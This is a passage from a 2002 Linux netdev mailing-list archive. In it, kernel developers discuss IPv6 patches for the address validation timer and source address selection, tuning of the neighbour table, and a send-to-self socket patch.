This generally indicates that the interface has stopped sending, but may be caused by transient congestion. (This cannot occur in Linux, packets are just silently dropped when a device queue over=AD flows.) > cheers, > jamal /Matti Aarnio From pasky@machine.sinus.cz Fri Sep 27 08:14:16 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:14:19 -0700 (PDT) Received: from machine.sinus.cz (pasky.ji.cz [62.44.12.54]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFEEtG005300 for ; Fri, 27 Sep 2002 08:14:15 -0700 Received: (qmail 14517 invoked by uid 2001); 27 Sep 2002 15:14:13 -0000 Date: Fri, 27 Sep 2002 17:14:13 +0200 From: Petr Baudis To: kuznet@ms2.inr.ac.ru Cc: Petr Baudis , pekkas@netcore.fi, netdev@oss.sgi.com, xs26-dev@xs26.net Subject: Re: Linux problems with hundreds of interfaces/routes Message-ID: <20020927151413.GA6548@pasky.ji.cz> References: <20020927114309.GR2655@pasky.ji.cz> <200209271449.SAA21026@sex.inr.ac.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200209271449.SAA21026@sex.inr.ac.ru> User-Agent: Mutt/1.4i X-message-flag: Outlook : A program to spread viri, but it can do mail too. X-archive-position: 352 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pasky@pasky.ji.cz Precedence: bulk X-list: netdev Dear diary, on Fri, Sep 27, 2002 at 04:49:00PM CEST, I got a letter, where kuznet@ms2.inr.ac.ru told me, that... > Hello! Hello, > > 2002/09/27 11:11:03 ZEBRA: netlink-listen error: No buffer space available, type=RTM_NEWROUTE(24), seq=426, pid=0 > > This means that you exceeded limit on size of neighbour table, > which is quite predictable when you have lots of interfaces. > Tune neighbour table size, it is net/ipv6/neigh/default/gc_thresh3 mostly. Thanks a lot, that fixed the issue! I personally did some research about how to raise that, but didn't found anything.. I hope that google will get this post and rank it high ;-). -- Petr "Pasky" Baudis * ELinks maintainer * IPv6 guy (XS26 co-coordinator) * IRCnet operator * FreeCiv AI occassional hacker . Girls are like internet domain names, the ones I like are already taken. Well, you can still get one from a strange country :-P . Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/ From yoshfuji@linux-ipv6.org Fri Sep 27 08:16:24 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:16:26 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFGNtG005665 for ; Fri, 27 Sep 2002 08:16:24 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian -4) with ESMTP id g8RFGK1o018279; Sat, 28 Sep 2002 00:16:20 +0900 Date: Sat, 28 Sep 2002 00:16:17 +0900 (JST) Message-Id: <20020928.001617.91124319.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH] IPv6: Refine IPv6 Address Validation Timer From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20020927.022515.78074730.davem@redhat.com> References: <20020927.181256.112824147.yoshfuji@linux-ipv6.org> <20020927.022515.78074730.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 353 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20020927.022515.78074730.davem@redhat.com> (at Fri, 27 Sep 2002 02:25:15 -0700 (PDT)), "David S. Miller" says: > @@ -1626,24 +1635,32 @@ > for (ifp=inet6_addr_lst[i]; ifp; ifp=ifp->lst_next) { > unsigned long age; > > - if (ifp->flags & IFA_F_PERMANENT) > + spin_lock(&ifp->lock); > + if (ifp->flags & IFA_F_PERMANENT) { > + spin_unlock(&ifp->lock); > continue; > + } > > This is completely unnecessary. Nobody modifies the > IFA_F_PERMANENT flag after the addr entry has been added > to the hash table and this runs under the addrconf hash > lock already. Thanks for comment. So, is this reasonable? Index: net/ipv6/addrconf.c =================================================================== RCS file: /cvsroot/usagi/usagi-backport/linux24/net/ipv6/addrconf.c,v retrieving revision 1.1.1.1 retrieving revision 1.1.1.1.4.4 diff -u -r1.1.1.1 -r1.1.1.1.4.4 --- net/ipv6/addrconf.c 2002/08/20 09:47:02 1.1.1.1 +++ net/ipv6/addrconf.c 2002/09/27 15:02:57 1.1.1.1.4.4 @@ -26,6 +26,8 @@ * packets. * yoshfuji@USAGI : Fixed interval between DAD * packets. + * YOSHIFUJI Hideaki @USAGI : improved accuracy of + * address validation timer. */ #include @@ -93,6 +95,7 @@ void addrconf_verify(unsigned long); static struct timer_list addr_chk_timer = { function: addrconf_verify }; +static spinlock_t addrconf_verify_lock = SPIN_LOCK_UNLOCKED; static int addrconf_ifdown(struct net_device *dev, int how); @@ -1616,9 +1619,15 @@ void addrconf_verify(unsigned long foo) { struct inet6_ifaddr *ifp; - unsigned long now = jiffies; + unsigned long now, next; int i; + spin_lock_bh(&addrconf_verify_lock); + now = jiffies; + next = now + ADDR_CHECK_FREQUENCY; + + del_timer(&addr_chk_timer); + for (i=0; i < IN6_ADDR_HSIZE; i++) { restart: @@ -1629,21 +1638,27 @@ if (ifp->flags & IFA_F_PERMANENT) continue; + spin_lock(&ifp->lock); age = (now - ifp->tstamp) / HZ; - if (age > ifp->valid_lft) { + if (age >= ifp->valid_lft) { + spin_unlock(&ifp->lock); in6_ifa_hold(ifp); write_unlock(&addrconf_hash_lock); ipv6_del_addr(ifp); goto restart; - } else if (age > ifp->prefered_lft) { + } else if (age >= ifp->prefered_lft) { + /* jiffies - ifp->tsamp > age >= ifp->prefered_lft */ int deprecate = 0; - spin_lock(&ifp->lock); if (!(ifp->flags&IFA_F_DEPRECATED)) { deprecate = 1; ifp->flags |= IFA_F_DEPRECATED; } + + if (time_before(ifp->tstamp + ifp->valid_lft * HZ, next)) + next = ifp->tstamp + ifp->valid_lft * HZ; + spin_unlock(&ifp->lock); if (deprecate) { @@ -1654,12 +1669,24 @@ in6_ifa_put(ifp); goto restart; } + } else { + /* ifp->prefered_lft <= ifp->valid_lft */ + if (time_before(ifp->tstamp + ifp->prefered_lft * HZ, next)) + next = ifp->tstamp + ifp->prefered_lft * HZ; + spin_unlock(&ifp->lock); } } write_unlock(&addrconf_hash_lock); } - mod_timer(&addr_chk_timer, jiffies + ADDR_CHECK_FREQUENCY); + if (time_before(now + HZ/2, jiffies)) { + ADBG((KERN_WARNING + "addrconf_verify(): too slow; jiffies - now = %ld\n", + (long)jiffies - (long)now)); + } + addr_chk_timer.expires = time_before(next, jiffies + HZ) ? jiffies + HZ : next; + add_timer(&addr_chk_timer); + spin_unlock_bh(&addrconf_verify_lock); } static int @@ -2033,8 +2060,7 @@ proc_net_create("if_inet6", 0, iface_proc_info); #endif - addr_chk_timer.expires = jiffies + ADDR_CHECK_FREQUENCY; - add_timer(&addr_chk_timer); + addrconf_verify(0); rtnetlink_links[PF_INET6] = inet6_rtnetlink_table; #ifdef CONFIG_SYSCTL addrconf_sysctl.sysctl_header = From yoshfuji@linux-ipv6.org Fri Sep 27 08:17:43 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:17:45 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFHgtG006038 for ; Fri, 27 Sep 2002 08:17:42 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian -4) with ESMTP id g8RFHh1o018302; Sat, 28 Sep 2002 00:17:43 +0900 Date: Sat, 28 Sep 2002 00:17:42 +0900 (JST) Message-Id: <20020928.001742.125874265.yoshfuji@linux-ipv6.org> To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com CC: usagi@linux-ipv6.org Subject: [PATCH] IPv6: Improvement of Source Address Selection From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 354 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello! This patch supports standard default source address selection algorithm. It takes status, address/prefix itself (prefer same address, prefer longest matching prefix) into consideration. Note: Even though matching label is not implemented yet, this is better than current one. Following patch is against linux-2.4.19. Thank you in advance. ------------------------------------------------------------------- Patch-Name: Improvement of Source Address Selection Patch-Id: FIX_2_4_19_SADDRSELECT-20020906 Patch-Author: YOSHIFUJI Hideaki / USAGI Project Credit: YOSHIFUJI Hideaki / USAGI Project Reference: draft-ietf-ipv6-default-addr-select-09.txt ------------------------------------------------------------------- Index: include/net/addrconf.h =================================================================== RCS file: /cvsroot/usagi/usagi-backport/linux24/include/net/addrconf.h,v retrieving revision 1.1.1.1 retrieving revision 1.1.1.1.6.1 diff -u -r1.1.1.1 -r1.1.1.1.6.1 --- include/net/addrconf.h 2002/08/20 09:46:45 1.1.1.1 +++ include/net/addrconf.h 2002/09/26 19:15:15 1.1.1.1.6.1 @@ -55,6 +55,9 @@ struct net_device *dev); extern struct inet6_ifaddr * ipv6_get_ifaddr(struct in6_addr *addr, struct net_device *dev); +extern int ipv6_dev_get_saddr(struct net_device *ddev, + struct in6_addr *daddr, + struct in6_addr *saddr); extern int ipv6_get_saddr(struct dst_entry *dst, struct in6_addr *daddr, struct in6_addr *saddr); Index: net/ipv6/addrconf.c =================================================================== RCS file: /cvsroot/usagi/usagi-backport/linux24/net/ipv6/addrconf.c,v retrieving revision 1.1.1.1 retrieving revision 1.1.1.1.6.4 diff -u -r1.1.1.1 -r1.1.1.1.6.4 --- net/ipv6/addrconf.c 2002/08/20 09:47:02 1.1.1.1 +++ net/ipv6/addrconf.c 2002/09/26 19:28:13 1.1.1.1.6.4 @@ -26,6 +26,10 @@ * packets. * yoshfuji@USAGI : Fixed interval between DAD * packets. + * YOSHIFUJI Hideaki @USAGI : improved source address + * selection; consider scope, + * status etc. + * */ #include @@ -188,6 +192,99 @@ return IPV6_ADDR_RESERVED; } +#ifndef IPV6_ADDR_MC_SCOPE +#define IPV6_ADDR_MC_SCOPE(a) \ + ((a)->s6_addr[1] & 0x0f) /* XXX nonstandard */ +#define __IPV6_ADDR_SCOPE_RESERVED -2 +#define __IPV6_ADDR_SCOPE_ANY -1 +#define IPV6_ADDR_SCOPE_NODELOCAL 0x01 +#define IPV6_ADDR_SCOPE_LINKLOCAL 0x02 +#define IPV6_ADDR_SCOPE_SITELOCAL 0x05 +#define IPV6_ADDR_SCOPE_ORGLOCAL 0x08 +#define IPV6_ADDR_SCOPE_GLOBAL 0x0e +#endif + +int ipv6_addrselect_scope(const struct in6_addr *addr) +{ + u32 st; + + st = addr->s6_addr32[0]; + + if ((st & __constant_htonl(0xE0000000)) != __constant_htonl(0x00000000) && + (st & __constant_htonl(0xE0000000)) != __constant_htonl(0xE0000000)) + return IPV6_ADDR_SCOPE_GLOBAL; + + if ((st & __constant_htonl(0xFF000000)) == __constant_htonl(0xFF000000)) + return IPV6_ADDR_MC_SCOPE(addr); + + if ((st & __constant_htonl(0xFFC00000)) == __constant_htonl(0xFE800000)) + return IPV6_ADDR_SCOPE_LINKLOCAL; + + if ((st & __constant_htonl(0xFFC00000)) == __constant_htonl(0xFEC00000)) + return IPV6_ADDR_SCOPE_SITELOCAL; + + if ((st | addr->s6_addr32[1]) == 0) { + if (addr->s6_addr32[2] == 0) { + if (addr->s6_addr32[3] == 0) + return __IPV6_ADDR_SCOPE_ANY; + + if (addr->s6_addr32[3] == __constant_htonl(0x00000001)) + return IPV6_ADDR_SCOPE_LINKLOCAL; /* section 2.4 */ + + return IPV6_ADDR_SCOPE_GLOBAL; /* section 2.3 */ + } + + if (addr->s6_addr32[2] == __constant_htonl(0x0000FFFF)) { + if (addr->s6_addr32[3] == __constant_htonl(0xA9FF0000)) + return IPV6_ADDR_SCOPE_LINKLOCAL; /* section 2.2 */ + if (addr->s6_addr32[3] == __constant_htonl(0xAC000000)) { + if (addr->s6_addr32[3] == __constant_htonl(0xAC100000)) + return IPV6_ADDR_SCOPE_SITELOCAL; /* section 2.2 */ + + return IPV6_ADDR_SCOPE_LINKLOCAL; /* section 2.2 */ + } + if (addr->s6_addr32[3] == __constant_htonl(0x0A000000)) + return IPV6_ADDR_SCOPE_SITELOCAL; /* section 2.2 */ + if (addr->s6_addr32[3] == __constant_htonl(0xC0A80000)) + return IPV6_ADDR_SCOPE_SITELOCAL; /* section 2.2 */ + + return IPV6_ADDR_SCOPE_GLOBAL; /* section 2.2 */ + } + } + + return __IPV6_ADDR_SCOPE_RESERVED; +} + +/* find 1st bit in difference between the 2 addrs */ +static inline int addr_diff(const void *__a1, const void *__a2, int addrlen) +{ + /* find 1st bit in difference between the 2 addrs. + * bit may be an invalid value, + * but if it is >= plen, the value is ignored in any case. + */ + const u32 *a1 = __a1; + const u32 *a2 = __a2; + int i; + + addrlen >>= 2; + for (i = 0; i < addrlen; i++) { + u32 xb = a1[i] ^ a2[i]; + if (xb) { + int j = 31; + xb = ntohl(xb); + while ((xb & (1 << j)) == 0) + j--; + return (i * 32 + 31 - j); + } + } + return addrlen<<5; +} + +static inline int ipv6_addr_diff(const struct in6_addr *a1, const struct in6_addr *a2) +{ + return addr_diff(a1->s6_addr, a2->s6_addr, sizeof(struct in6_addr)); +} + static void addrconf_del_timer(struct inet6_ifaddr *ifp) { if (del_timer(&ifp->timer)) @@ -449,120 +546,137 @@ /* * Choose an apropriate source address - * should do: - * i) get an address with an apropriate scope - * ii) see if there is a specific route for the destination and use - * an address of the attached interface - * iii) don't use deprecated addresses + * draft-ietf-ipngwg-default-addr-select-09.txt */ -int ipv6_get_saddr(struct dst_entry *dst, - struct in6_addr *daddr, struct in6_addr *saddr) +struct addrselect_attrs { + struct inet6_ifaddr *ifp; + int match; + int deprecated; + int home; + int temporary; + int device; + int scope; + int label; + int matchlen; +}; + +int ipv6_dev_get_saddr(struct net_device *daddr_dev, + struct in6_addr *daddr, struct in6_addr *saddr) { - int scope; - struct inet6_ifaddr *ifp = NULL; - struct inet6_ifaddr *match = NULL; - struct net_device *dev = NULL; + int daddr_scope; + struct inet6_ifaddr *ifp0, *ifp = NULL; + struct net_device *dev; struct inet6_dev *idev; - struct rt6_info *rt; - int err; - rt = (struct rt6_info *) dst; - if (rt) - dev = rt->rt6i_dev; - - scope = ipv6_addr_scope(daddr); - if (rt && (rt->rt6i_flags & RTF_ALLONLINK)) { - /* - * route for the "all destinations on link" rule - * when no routers are present - */ - scope = IFA_LINK; - } - - /* - * known dev - * search dev and walk through dev addresses - */ + int err; + int update; + struct addrselect_attrs candidate = {NULL,0,0,0,0,0,0,0,0}; - if (dev) { - if (dev->flags & IFF_LOOPBACK) - scope = IFA_HOST; + daddr_scope = ipv6_addrselect_scope(daddr); - read_lock(&addrconf_lock); + read_lock(&dev_base_lock); + read_lock(&addrconf_lock); + for (dev = dev_base; dev; dev=dev->next) { idev = __in6_dev_get(dev); - if (idev) { - read_lock_bh(&idev->lock); - for (ifp=idev->addr_list; ifp; ifp=ifp->if_next) { - if (ifp->scope == scope) { - if (!(ifp->flags & (IFA_F_DEPRECATED|IFA_F_TENTATIVE))) { - in6_ifa_hold(ifp); - read_unlock_bh(&idev->lock); - read_unlock(&addrconf_lock); - goto out; - } - - if (!match && !(ifp->flags & IFA_F_TENTATIVE)) { - match = ifp; - in6_ifa_hold(ifp); - } + + if (!idev) + continue; + + read_lock_bh(&idev->lock); + ifp0 = idev->addr_list; + for (ifp=ifp0; ifp; ifp=ifp->if_next) { + struct addrselect_attrs temp = {NULL,0,0,0,0,0,0,0,0}; + update = 0; + + /* Rule 1: Prefer same address */ + temp.match = ipv6_addr_cmp(&ifp->addr, daddr) == 0; + if (!update) + update = temp.match - candidate.match; + if (update < 0) { + continue; + } + + /* Rule 2: Prefer appropriate scope */ + temp.scope = ipv6_addrselect_scope(&ifp->addr); + if (!update) { + update = temp.scope - candidate.scope; + if (update > 0) { + update = candidate.scope < daddr_scope ? 1 : -1; + } else if (update < 0) { + update = temp.scope < daddr_scope ? -1 : 1; } } - read_unlock_bh(&idev->lock); - } - read_unlock(&addrconf_lock); - } + if (update < 0) { + continue; + } - if (scope == IFA_LINK) - goto out; + /* Rule 3: Avoid deprecated address */ + temp.deprecated = ifp->flags & IFA_F_DEPRECATED; + if (!update) + update = candidate.deprecated - temp.deprecated; + if (update < 0) { + continue; + } - /* - * dev == NULL or search failed for specified dev - */ + /* XXX: Rule 4: Prefer home address */ - read_lock(&dev_base_lock); - read_lock(&addrconf_lock); - for (dev = dev_base; dev; dev=dev->next) { - idev = __in6_dev_get(dev); - if (idev) { - read_lock_bh(&idev->lock); - for (ifp=idev->addr_list; ifp; ifp=ifp->if_next) { - if (ifp->scope == scope) { - if (!(ifp->flags&(IFA_F_DEPRECATED|IFA_F_TENTATIVE))) { - in6_ifa_hold(ifp); - read_unlock_bh(&idev->lock); - goto out_unlock_base; - } - - if (!match && !(ifp->flags&IFA_F_TENTATIVE)) { - match = ifp; - in6_ifa_hold(ifp); - } - } + /* Rule 5: Prefer outgoing interface */ + temp.device = daddr_dev ? daddr_dev == (ifp->idev ? ifp->idev->dev : daddr_dev) : 0; + if (!update) + update = temp.device - candidate.device; + if (update < 0) { + continue; + } + + /* XXX: Rule 6: Prefer matching label */ + temp.label = 0; + if (!update) + update = temp.label - candidate.label; + if (update < 0) { + continue; } - read_unlock_bh(&idev->lock); + + /* XXX: Rule 7: Prefer public address */ + + /* Rule 8: Use longest matching prefix */ + temp.matchlen = ipv6_addr_diff(&ifp->addr, daddr); + if (!update) + update = temp.matchlen - candidate.matchlen; + if (update < 0) { + continue; + } + + /* Final Rule */ + if (update <= 0) + continue; + + /* update candidate */ + temp.ifp = ifp; + in6_ifa_hold(ifp); + if (candidate.ifp) + in6_ifa_put(candidate.ifp); + candidate = temp; } + read_unlock_bh(&idev->lock); } - -out_unlock_base: read_unlock(&addrconf_lock); read_unlock(&dev_base_lock); - -out: - if (ifp == NULL) { - ifp = match; - match = NULL; - } - err = -EADDRNOTAVAIL; - if (ifp) { - ipv6_addr_copy(saddr, &ifp->addr); + if (candidate.ifp) { + ipv6_addr_copy(saddr, &candidate.ifp->addr); + in6_ifa_put(candidate.ifp); err = 0; - in6_ifa_put(ifp); + } else { + err = -EADDRNOTAVAIL; } - if (match) - in6_ifa_put(match); - return err; +} + +int ipv6_get_saddr(struct dst_entry *dst, + struct in6_addr *daddr, struct in6_addr *saddr) +{ + return ipv6_dev_get_saddr(dst ? ((struct rt6_info *)dst)->rt6i_dev : NULL, + daddr, saddr); } int ipv6_get_lladdr(struct net_device *dev, struct in6_addr *addr) From kuznet@ms2.inr.ac.ru Fri Sep 27 08:30:43 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:30:45 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFUgtG007404 for ; Fri, 27 Sep 2002 08:30:42 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id TAA21206; Fri, 27 Sep 2002 19:30:14 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209271530.TAA21206@sex.inr.ac.ru> Subject: Re: [PATCH] IPv6: Refine IPv6 Address Validation Timer To: yoshfuji@linux-ipv6.org (YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=) Date: Fri, 27 Sep 2002 19:30:14 +0400 (MSD) Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, usagi@linux-ipv6.org In-Reply-To: <20020928.001617.91124319.yoshfuji@linux-ipv6.org> from "YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=" at Sep 28, 2 00:16:17 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 355 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > So, is this reasonable? Yes, I like this. Let's only delete this: > + if (time_before(now + HZ/2, jiffies)) { > + ADBG((KERN_WARNING > + "addrconf_verify(): too slow; jiffies - now = %ld\n", > + (long)jiffies - (long)now)); > + } I do not understand how this survived. If you worry about infinite spinning in loop you could make this check real, f.e. breaking loop when jiffies >= now+2. In this form it is just mud. Alexey From greearb@candelatech.com Fri Sep 27 08:40:47 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:40:52 -0700 (PDT) Received: from grok.yi.org (IDENT:05mOCYLhxoeHijdOGbNgJUSRshN8sudm@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFektG007822 for ; Fri, 27 Sep 2002 08:40:46 -0700 Received: from candelatech.com (IDENT:TKeyp3gPReayFB0ZyDiXCqlzkUptRSGq@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8RFeBv27480; Fri, 27 Sep 2002 08:40:12 -0700 Message-ID: <3D947BDB.2010007@candelatech.com> Date: Fri, 27 Sep 2002 08:40:11 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: kuznet@ms2.inr.ac.ru CC: netdev@oss.sgi.com Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this References: <200209271501.TAA21079@sex.inr.ac.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 356 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev kuznet@ms2.inr.ac.ru wrote: > Hello! > > >>I have a question though: If this method is ever called to send an RST, >>will it work? > > > Work for what? This method is used when you have no socket in the system > matching to this skb. :-) > > >>What about this part, do you think it is not needed either? It appeared >>to me that w/out this, the sending socket and the receiving socket > > ... > >>sending one, unfortunately). > > > No, this is impossible. addrs/ports identity identifies socket unambiguously. Assume we are sending to ourself, and we bind to the local ip/port before we connect: we have source IP = 1.2.3.4, source-port = 7 Assume we are connecting to a socket on a second interface, with dest ip = 1.2.3.5, dest-port = 7 When the SYN is received on the second port after connect() is called, the code looks for a socket based on source ip 1.2.3.4 and source port 7. In this case, it should not find any socket because this SYN is the first communication.... However, because the sender is on the same machine, using the same kernel structures, the socket **DOES** exist, and so the hash lookup finds it. At this point, I believe it sends the RST because a socket in the SYN-sent state just received a SYN packet, which is not how things should work. > > But even this does not matter, your patch is noop by much simpler pure > "syntactical" reason, it copies req->bound_dev_if from listening socket. > And after this the check in lookup req degenerates to TRUE __identitically__. > :-) It will not match the case where the sending socket is bound to interface 3 and the listening socket is bound on interface 4, but both sockets have the same source IP and port. That was what I was trying to do...but I may have not done it quite right :) Thanks, Ben > > Alexey > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From kuznet@ms2.inr.ac.ru Fri Sep 27 08:47:16 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:47:18 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFlFtG008707 for ; Fri, 27 Sep 2002 08:47:16 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id TAA21299; Fri, 27 Sep 2002 19:46:55 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209271546.TAA21299@sex.inr.ac.ru> Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this To: greearb@candelatech.com (Ben Greear) Date: Fri, 27 Sep 2002 19:46:55 +0400 (MSD) Cc: netdev@oss.sgi.com In-Reply-To: <3D947BDB.2010007@candelatech.com> from "Ben Greear" at Sep 27, 2 08:40:11 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 357 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > It will not match the case where the sending socket is bound to interface 3 > and the listening socket is bound on interface 4, but both sockets have the > same source IP and port. That was what I was trying > to do...but I may have not done it quite right :) I would say "quite not right". :-) Anyway, this is supposed to work without any modifications. Alexey From greearb@candelatech.com Fri Sep 27 08:54:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:54:05 -0700 (PDT) Received: from grok.yi.org (IDENT:0r71oHeOLk2GHYFIW2ky2AoHIRRjF/nO@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFs2tG009133 for ; Fri, 27 Sep 2002 08:54:03 -0700 Received: from candelatech.com (IDENT:W4B+7XCrperFQFG0I64UXtOzCQZ2ga2+@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8RFrRv29175; Fri, 27 Sep 2002 08:53:28 -0700 Message-ID: <3D947EF7.2080302@candelatech.com> Date: Fri, 27 Sep 2002 08:53:27 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: kuznet@ms2.inr.ac.ru CC: netdev@oss.sgi.com Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this References: <200209271546.TAA21299@sex.inr.ac.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 358 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev kuznet@ms2.inr.ac.ru wrote: > Hello! > > >>It will not match the case where the sending socket is bound to interface 3 >>and the listening socket is bound on interface 4, but both sockets have the >>same source IP and port. That was what I was trying >>to do...but I may have not done it quite right :) > > > I would say "quite not right". :-) > > Anyway, this is supposed to work without any modifications. I will run some tests with that part of the code commented out. Thanks, Ben > > Alexey > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From kuznet@ms2.inr.ac.ru Fri Sep 27 08:55:29 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:55:31 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFtStG009498 for ; Fri, 27 Sep 2002 08:55:28 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id TAA21348; Fri, 27 Sep 2002 19:55:02 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209271555.TAA21348@sex.inr.ac.ru> Subject: Re: netlink sockets and rtm_newlink messages To: mcmanus@ducksong.COM (Patrick R. McManus) Date: Fri, 27 Sep 2002 19:55:02 +0400 (MSD) Cc: netdev@oss.sgi.com In-Reply-To: <20020927134806.GA12745@ducksong.com> from "Patrick R. McManus" at Sep 27, 2 06:15:01 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 359 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > the messages weren't identical One of them is a mud. Apparently, I forgot to delete the line rtmsg_ifinfo(RTM_NEWLINK, dev, IFF_UP|IFF_RUNNING) in rtnetlink_event(). Alexey From Eric.Lemoine@ens-lyon.fr Fri Sep 27 08:56:40 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Sep 2002 08:56:42 -0700 (PDT) Received: from mailhost.ens-lyon.fr (pluvier.ens-lyon.fr [140.77.167.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8RFudtG009871 